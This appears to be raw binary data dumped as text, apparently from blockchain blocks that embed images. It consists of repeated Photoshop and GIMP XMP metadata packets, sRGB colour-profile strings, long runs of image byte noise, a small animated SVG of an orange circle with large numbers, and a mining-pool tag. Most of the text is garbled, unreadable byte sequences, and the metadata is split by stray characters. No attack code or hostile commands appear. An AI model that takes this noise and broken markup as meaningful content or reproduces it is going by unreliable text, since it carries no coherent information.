" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27f, 2022/08/16-18:02:43        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/M
1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.0 (Windows)" xmp:CreateDate="2023-02-13T21:40:15+05:30" xmp:ModifyDate="2023-02-13T22:00:22+05:30" xmp:MetadataDate="2023-02-13T22:00:22+05:30" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:7ddd7594-b12e-6743-9da9-893bc1d94276" xmpMM:DocumentID="adobe:docid:photoshop:90b91682-3b9a-934a-bf6b-759225e6aade" xmpMM:OriginalDocumentID="xmp.did:a9f3be9f-4368-f548-b6ab-8408af44f662"> <xmpMM:M
History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:a9f3be9f-4368-f548-b6ab-8408af44f662" stEvt:when="2023-02-13T21:40:15+05:30" stEvt:softwareAgent="Adobe Photoshop 24.0 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:7ddd7594-b12e-6743-9da9-893bc1d94276" stEvt:when="2023-02-13T22:00:22+05:30" stEvt:softwareAgent="Adobe Photoshop 24.0 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>4
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.M
com/xap/1.0/sType/ResourceEvent#" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:cba23332-c792-43f6-bca5-ec0a87f5a067" xmpMM:InstanceID="xmp.iid:5b4de7a2-0c71-4c76-a3a0-2182eb5f7923" xmpMM:OriginalDocumentID="xmp.did:1d8667d9-a6b1-4155-9ab1-4cff7e1d3177" GIMP:API="2.0" GIMP:Platform="Mac OS" GIMP:TimeStamp="1676300150027546" GIMP:Version="2.10.32" dc:Format="image/jpeg" xmp:CreatorTool="GIMP 2.10" xmp:MetadM
ataDate="2023:02:13T09:55:47-05:00" xmp:ModifyDate="2023:02:13T09:55:47-05:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:85897ae3-93e7-437c-a84c-6b0654411e6f" stEvt:softwareAgent="Gimp 2.10 (Mac OS)" stEvt:when="2023-02-13T09:55:50-05:00"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                       M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                  <?xpacket end="w"?>
Copyright Apple Inc., 2017
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:558EE656AA3B11EDB73C9B67C6DACA54" xmpMM:InstanceID="xmp.iid:558EE655AA3B11EDB73C9B67C6DACA54" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5ca6d904-7bd7-bb4f-b379-9e8b79efc1fa" stRef:documentID="adobe:docid:photoshop:60b063a4-3835-9344-8d90-1e6e724fd8d6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
 (B+(%%(Q:=0B`Ued_U][jx
XMP DataXMP<?xpacket begin="
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.0 (Windows)" xmpMM:InstanceID="xmpM
.iid:A9C793F6ABF911EDBE4EB70827925A21" xmpMM:DocumentID="xmp.did:A9C793F7ABF911EDBE4EB70827925A21"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A9C793F4ABF911EDBE4EB70827925A21" stRef:documentID="xmp.did:A9C793F5ABF911EDBE4EB70827925A21"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(M
<svg height="100%" width="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg" style="font:160% arial;font-weight:700;fill:white">
    <g transform-origin="center">
        <circle cy="50%"  cx="50%" r="50%" fill="#f7931a">
            <animate attributeName="fill" from="black" to="orange" dur="3s" repeatCount="indefinite"/>
        <text x="29%" y="28%">600</text>
        <text x="29%" y="48%">000</text>
        <text x="29%" y="68%">000</text>
        <text x="29%" y="88%">000</text>
c/Foundry USA Pool #dropgold/
+&-,*&))/5D:/2@3));Q<@FILML.9TZSJYDKLI
#I1)1IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
%!'&$!$#).;2),8,#$3F48=?BCB(1HMH@M;AB?
?*$*??????????????????????????????????????????????????
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
!22222222222222222222222222222222222222222222222222
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:dc="http://purl.org/dc/elements/1.1/" M
xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:eb6b74c1-8a57-4273-bd3e-93ea5f6844a2" xmpMM:InstanceID="xmp.iid:368d01c4-d19e-4786-876e-53b679eb8ad6" xmpMM:OriginalDocumentID="xmp.did:58afee9b-bfb0-4f8f-afa4-99f5ab9dec7b" GIMP:API="2.0" GIMP:Platform="Mac OS" GIMP:TimeStamp="1676299317477969" GIMP:Version="2.10.32" dc:Format="image/jpeg" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:13T09:41:55-05:00" xmp:ModifyDate="2023:02:13T09:41:55-05:00"> <xmpMM:History> <rdf:Seq> <rdf:li stM
Evt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:c96559d9-5d4f-4936-9632-a23530ebccb5" stEvt:softwareAgent="Gimp 2.10 (Mac OS)" stEvt:when="2023-02-13T09:41:57-05:00"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                           M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                              <?xpacket end="w"?>
Copyright Apple Inc., 2017
Adobe Photoshop 22.1 (Windows)
cropWhenPrintingbool
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c005 79.164590, 2020/12/09-11:57:44        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdM
f:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop 22.1 (Windows)" xmp:CreateDate="2023-02-11T13:47:48+04:00" xmp:MetadataDate="2023-02-11T13:47:48+04:00" xmp:ModifyDate="2023-02-11T13:47:48+04:00" xmpMM:InstanceID="xmp.iid:887f4676-e823-d140-b4fa-cb3c0cea9e59" xmpMM:DocumentID="M
adobe:docid:photoshop:546bdc72-d9f4-084a-8fa9-4d4c4029a4c0" xmpMM:OriginalDocumentID="xmp.did:54551f6b-5fb6-0140-9c74-a76bfc944fb4" dc:format="image/jpeg" photoshop:ColorMode="3"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:54551f6b-5fb6-0140-9c74-a76bfc944fb4" stEvt:when="2023-02-11T13:47:48+04:00" stEvt:softwareAgent="Adobe Photoshop 22.1 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:887f4676-e823-d140-b4fa-cb3c0cea9e59" stEvt:when="2023-02-11T13:47:48+M
04:00" stEvt:softwareAgent="Adobe Photoshop 22.1 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                  M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                       <?xpacket end="w"?>
IiCCPsRGB IEC61966-2.1
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:024caM
3f7-8416-49dd-9851-4a72ca9accad" xmpMM:InstanceID="xmp.iid:513c20fd-4b24-416d-93a7-29017519f236" xmpMM:OriginalDocumentID="xmp.did:e50a056e-79be-4a38-bf42-02149898ab1b" GIMP:API="2.0" GIMP:Platform="Mac OS" GIMP:TimeStamp="1676301521193909" GIMP:Version="2.10.32" dc:Format="image/jpeg" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:13T10:18:39-05:00" xmp:ModifyDate="2023:02:13T10:18:39-05:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:5262f514-9c15-452M
2-97cb-a1a46a9b23f8" stEvt:softwareAgent="Gimp 2.10 (Mac OS)" stEvt:when="2023-02-13T10:18:41-05:00"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                           M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                              <?xpacket end="w"?>
Copyright Apple Inc., 2017
((((((((((((((((((((((((((((((((((((((((((((((((((
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
%!'&$!$#).;2),8,#$3F48=?BCB(1HMH@M;AB?
?*$*??????????????????????????????????????????????????
	Phttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>
"#$%345U&269CDERSTtuvw
%;" &%"+(#,$).#&2*%2$*4+*5-$;#,<-,9!%;0&>2,:0*7-2=+0842=81=
X+'F5+C5,K4(K-4B+4G55B69D45K9>J7:I5*W65T92U92Z8:V-!Y+
w8-c6&k8'm7(j8)l4'e:)s<*|8%u5*fB3z<AM=DS=F[DL[DIUJP^FKeKScLViS[lSXdS\sLPq[ey]bock{-
'GIF resized on https://ezgif.com/resize
$:$ '%#*)$,%(.%%3+%4%*4,*5-#9#+;,,9"%<1)72+:0'9-1='0:42<
[((D5.C5-K3&J,3C*0E45B5:E8<G62K9=I6:K-"T6&[5)W71S82U;4\:>R"
s9'd:'l:)m6&h>4c:&u<(u;&{=({5!x.!c
P@6cG8x<BN=DS>F[EM[CIVJQ^RV]LTcMWhS[kRXfKRiYan[eyck{kq|+
%7%"+)$-##($%3*&2%*4,*5#$;+$:%*;,,91-:0,7+1<32=037
_,#C+)F3,C5*L1%J,3C-4H45B69D8;F43M5;K:=I."T4'Y52Q:3\99V"
x6$d8&k:)i=2a<)t;%|=)|9$t6(j
hG<y<AM;CS=EYDL\DIUJP]@BMLTcLUiT[jT\sGKh[dt\fzZaock{eiyjp
(:$!&%#*)%.%(.)(/$%2*$4#*3,*5+$:#+;-,9$";0.71,;-2<'0;33<
W%+B*'F3+B5+L1$J,4D+3E45B59E5<J79J6,S5(Y52TM
p6#k7'g<3e9%t:%{>)|;(tB6t@6q;AM=DS:BVCJUDLZBGTKQ^GP]KTcLWiT\kSZiU]tFDo[ds[ew[ancl}ckwjq~0
&9#!&&#+)$-&).((.#%4+$3#*4,*4-%:$,<-*:"'<2+72,;0'?-2;)0=45=
Y**F4+D6,J2&J,3D.6I45B59C8<F53M4;L9=J92I.#U5*[4)W9<V85[76V
y4$b9+d9)j6'h9&u9%{6"w;2jE9u<BN=ER=BZCIUDLZCHWIP^BDLLTcMVgS[jTZgOQmY`n[dt^h{Xbuckz`em*
&8( '##,)"+& '$%2+%4$*4-*6,#<#,<-+9#&=1+72.9-1<53=007
^)&D4+M1(H+4C,5F55A87A99C3;K:<K48G+$W5$]4*U75R:6\87T
x5#c9&l9(h>5g:&s<(r:#{6!v/ d;AM<DS<EVIMZDJWJP]KMWKUeS[lTZfT]rIJn]cnZdwck{iozB>e+
&8#!&$#+(%.()/!&3*$2$*4**4.#9$-;-,9$#=0&:2+;,2<+0744=48?
_+%E1%D1#L5-K4,D,5B.6G26B4:D71M81O4<J:>J9<E3#S5#Z7-U81P84T/%W#
6#b8%e9&k9(h;${;&t92e@/x:AM<ES=FUCJVDJXIQ^@@LLUdLUeS\kS[iOWl[ds[fzX`ncl|`hv`bl2
)9"!&%$+(%.'(/#&2,#4%*4,+5.$9",;/*8#$:0*90':-2<23<
(+E3*D6+L3#J,5C+2E25A4:E4=K:>J56H5#S7*Q8,R9%]7&[4/U"
v9"l8%c;"};$t=0n@*x;BN=ES>IYCIVDLZ@GRHQ^@DOLUcLWhS\lPWfHIlVarZct^i{Zfzak|`fqgp
'7$ '%#*)$,*(/&&,"&2,%3#*4,*2/#9#-;*-91$;1(:,2<'0;25<25<
Z5"D7$I9&M9)N6(G+4C.8G5:C2<J7;G:'Q:*Q9%[9*Z:3S<2X)%H%
u:#d;'h<$t=$|?(w?4cA2iA-uA+{@'
D3t<BL7AN<ES=GVBITDM[DIWHQ^LUcLWgT]lQXeX`nVar[et]i{dn}`hugp~.
)9& '( '$#**$+$).*(/#%2-#4$+4+,2/#9$-<.,:1$=0/8.17,2<'0?14<38>
V4#D6(E6$I9'L:)M8'E,4B07B39C9<E5=I8?I;1L9'R>,R9'\=+\5$[3/I,
y<*e<&k=(i9%b=#s?!z@-S@ };BM7AN=ER:DTCJTEM[DJTKR^GP]GQaLUcOXfOXiR\lPWcDO`[anVas[dr]i|\fxbl|hp~8
(7%!&&#))$+$(,*)/-%2$+3,+3#+:,.8-$90&62$<3):0,6,2<*0:23=29?2
H4#C6)C8)F;+L6&I+4B,6F47A3:D;:E3;J;>I:5I>-R>*[5#W4>P=
f=&e@.[A.bA+l@'iF3iC+uD+{A'uI5rF2q<BM<DR<FV@FNCJUDLM
ZFJULR]GQ_KTcOYjKUePVcT\kU\iS^qZ`m[dtYfz^i|Wbu`esem}elzhq
*:$!&&$*)$-%).*)/,"2$*3,+3/!<$-:+/80"71+62";3+:.06-3;'0<23;/"@5$B8%F9)F:M
'I<)M7'H,5B'1@55B82D5:D:=E3=K;?I93K?+T;*Z4
a@+UA,\D-gI.w=BL6@O<DR=HY@DNAFRCIUDMZINZIJVLR]KTcOYjPVbSYfS\lS^qCOa[dt^i{ZexW`n`ftcl|elzjp~gp
#3%!&(!'%#))#*%(/*).$#3-"4%*3,+3!&:#,;+);0!72%:4)=0,7-15-2;'0>23<*%B,*A6+C4.H8/H,3B46A5:D9=E72K82L5<K:>J97C:7S;:S>6[6:P=-cF6kA4cK6uL6y=BM;BRADOBFTCITELZHN\EJYJQ^MTcNXjQYfT\kU^pW`p[dt\fz^i|_hvbk|dlzcn
*:$!%("&$$*)$*$*.*(.#%0+%3%*4,+4-!:!+;+.90,63$>2-;%0?,2<32<58>6'@6*A9-B&1@+3A.8I-6H45A;4D49C9:E4<J;=J;6H96Q;<R9=UA5e=CM=DR=BZ?IY@DOAEQCIUHLWCL\IN[JQ^DLaKTcOYfMVjKUgRYfT\lX^jS^tW`nYaoW`r[dt[fz^izVcxak|`ftlr
!1& '(!'%$+*#*%(,*(.#'0.#3")5++3#-:+.90$60+53':3+:'0?,2<33=85?78?+4B/8F44A69D9:E4<J<>J95AA?O<BM;DR?HW?IZ@@KBFRDIUDL[IMZIKVGP_KR^GQaLTcOYkMWiQVeS\kX_mSXfT_qZ`mVas[du^i|\gy`fw`hwbl}hn{jq~cn
)9& &("'&"*(#)%)-+(/"&4,&3$)4-*3+'8%,:,+90'60)70'82):-06'0?-2<00633<86?78?&/B,4E36B96B59D:;F5<K:>J9>P5=Q<AL>DRBCMAESEHSHIUELZJO\LQ^GObIO`MTcLViOXlPVeTZgS[kX_oV`o[anV`s[ct\ey_h|agubk}ip}cn
)9% &(!'%#**#**).$'1.$2#*M
5,*4$-;.-91&61)71+9,06&0>,1=22<&1A-5B.8D26A39E9;E4<J<>J5@O;AN6@P<DS?HS9EY?I[BBOBESCIVDL[IMZKR_EN`FP`LScOXgNWiOXkPVfPWiS[kX]lV_qW`oY`oW`r[du]gz^h|`fv`hv`gybk}cn
(9$ '%"*)"-%(.,(/%&1,$3%*4*,5/&8#,;,-90%71%91);+07&0>-2<23=%.@&1B+4C/8F/9K16A49D9<E3<K9>J5>R7@M<AM6@R;CS<F[>H[BFTCIVDL[IN\JQ^DNcFQeLTcMViNXkPVeRXgT\kS]rT_xX`nV`t[dtWby[ez_iz`hwbk|^j
);$ '&"*(#,#&2-&3$)5,*5#,<,,9$'80'70'81);&0?,1=+0722=$.A(-A4,A'0C,4C/8G-6I/9L35B49E::E4;K:>K5>R<AM7@V;CS=EY?H\AGUCHVDK[IM\KQ_DMbIO`GPeLScLUjNXmQXfT[lUZjOYpKTqR\rX_pT]yV`u[ctVaz[e{_h|bk}ag|]g
)9% '&"*(#+&)-),.#&1-%3$*4++4#-;+-9+&80&71'81*;&0>,1<22=4/@&2B+5C/8G.9I35B49E4=L;=J9<F4?P7@O<AM6AR;DT<GX?IY=LbBFTBHVCL\JM]BCNDO`IOaFQcJSeKViNYlGThQ[nV[jNZqS^rV_tVM
`uZcuVcy[e{^i}bk}agw]j
):!!'%"*($-$(-$&1*&2$)5+*5#,;-,92'93+<0'7-1>'0?31=$.B&-J5)A&1C,4D,6I.9J/8F35C49F89F54J4<L;>M5>Q8<W#%R#
KD1y=AN6@T;CT6AX<EY>I\>AcAETEHWCK\IM]CGXIP_DNbIO`FQeKSdJUkMYnGRiQVfRZlX^oNZqMUuS]sT\yVavYM
)9$ '%"**%-#(/-(/"&2*'0#)6-*3$,;+.:1+30/9,1>12=%/A'0B,4C-7I/8J26C58E89E3;L9<J97A5>Q9?P=AN6@S;CT<FZ>H]?J`@AMBFUCHWCGXBK]IM^CMbHOaFQeJRdFRjKUkNYnRZmQWjHVrNZrN\yR]tR_yU`vYbuUb{Ze|^h~bj|Ud
);& &( &$"+(#+,(/$&1+'0$)5-*4$-;-.:0,50.9-1='0>12=#/A%1D+4D*6J.:M'4H35C49F4:J9>M/<P2>R;@N5AU<CT6CY;FZ=I^>Ka@EUCK\BHWCMbHN`FQfJRdFSjJUkMXnRZnPVgMZrLZuR]sQ_yVavZauUb{Ze|^h~aj
):% '%"*)%-,(/"&2)'0$)5-*2$-;*.:1-53/8'0?,1>31:#/@&1A+4C/8G,7H.9K26C49F9;F3<K9>L4?Q;@N6AS;DU;FY>I\5CX<JaAFUCK\DJYDNbIOaFQeJRdFSjJUkNXmQYlMZrS]rU_uU`vYbuUb{[e|^h~fm
)9& '( '$#+*$+/(/0(/"'1('0$)5,*4$-;+.90+42/9'0?+1=31;&1A+4C/8G.9J25B29F4<K:>K:;G3?Q;@N7@O6AS;CS;FY>I\?La@FVBK\HN^AHWCNaFPcJRdERjKVjNYnQZnPWiN[sL\yQ]sQ_yU`vYcvUb{Ze|]h
'8%",)$-"&2*'1$)6))4",<+.:-1>&0?01<"/M
A%1D,4C*6J-9M'4H26C48F3;L:>L99G.;Q2>R8?P?AO5AV;CU6CZ:FZ=H]=Jb:G`AETBJ]@GXCNcBOhKO`GPeIReERlKUkOXnQWhSZmPUfIVqLYtN\yR]uY_qR_z\atSa}\dz`fzci~Vd
);#"+($.$&2&)6#,<)-<()5,0?".A%2E+3D'4I)6J,9M3;L8>O16F.<R2>T8>P4AV;BT5CZ9F\<H^8G`=Kc?Ni@I]ANeAOhHM`CPgDRkLVlFVrHWqKZuN]yQ_zSa}Ud
-@!.B$1E&5J)6K+9N'7P-;R->Z1>U0?X2@V4C[8F_5Fa9G`7He;Jd=Mj@OjBQmDTtHWuIXvFY}K\|L^
*<#1E'5J)6L*9N.=T0>U4C\8Ga7He9Ie=Mk?Po<NpAQoCTtEWxM
%8"'6%(6)*7$+;*-;/1?!#.$-B&1E,2D,6J.9N15D17I4:L9=N68F3=S:?P<CU:DZ8BY>IaCM
I[BGYDMcEOfIQfLTjHSkPVjTZnOYrMYtU]tS^yY^rVa|[cz]bvag{[f
&;#",$&2%(5)*5$+;+-:)%1-0>02>#-A,2C+5J*3H25C69F5:J:>L-6R3=S8?R6.t92z53kB?~=@N=BS;DZ7BX?IbAETDHWDJ[IN]AGYKP^CMcIOaDMiFPgMRcLUlHSkQVeTZkTZkNWrS\sX_t@Cs\btVaz[d{`gzdj}`ew=4
%:#",$&1%)5)+5$,;+.:-1=13>
A+3C,4I26B69E8;F3;L:>K27K3;T$'P
t=AM<BS<EYADOAESEIVEK\JN\DHWMQ^FNaHNiLRcKUlHRgQVdTYfV[kY^mPVhMYqS]sW^t[`o\bs[d{Vazaeuej{in~bgy
#8!!'##,)'."&3%)5*+4&+:*.<!'8-0=00723=)-I-3C-5H16D58E:;E4:J;>I9?Q>AL<CS=EYABLCFRFIUJKVDK\JMZ@G[NQ]QS_ENaKRcMUiSVbVYeTZkZ]jY[fU]r^`m^cs[ez]h~W`vbesfivej{jn|nq~ps
#0$!'%$*(&,*).%(/#&1&)4++4&,:,/90.60/M
8.1<-0623<017.4B26B59E:;D6;H;>J=AM;APBDMDGRFITIKUEKZKOZNQ\RT^LRbSVbWYdZ[eU[k[^j]al\cs^fyablcfrehtikv`gxdjzjo|nq|rt
"4%!'#$+)$*').*)/#&3('0')3+,4-.8&+:1/70/8/07.0:01723<57@79B:;D<>I=@KCDMCFQFISILV@G^FL[JNZNQ\QT^LThRVaUYdY\gTZiZ^j]am_cq\d{adnbfrfiuhkvgkyjn{nr~ps
"2$!&(!'#%+*$)&(.+).#&2&)3,,3"%;,.8'.80.5/06.1;21744:86;99?/2A36C69B;<D<>H@?F>AJ?@G@@GDDLDFQFISKLTKNYOQYRT]QQWMRaRVaUYdZ\fTZi[^iW_q\`l^dtbcmbfqfiuikuknyel|mq}qs~cm
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:M
xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:da7796d0-e29d-4747-b9df-e09e8736520d" xmpMM:InstanceID="xmp.iid:12f35724-d7c3-42c8-b392-81f94M
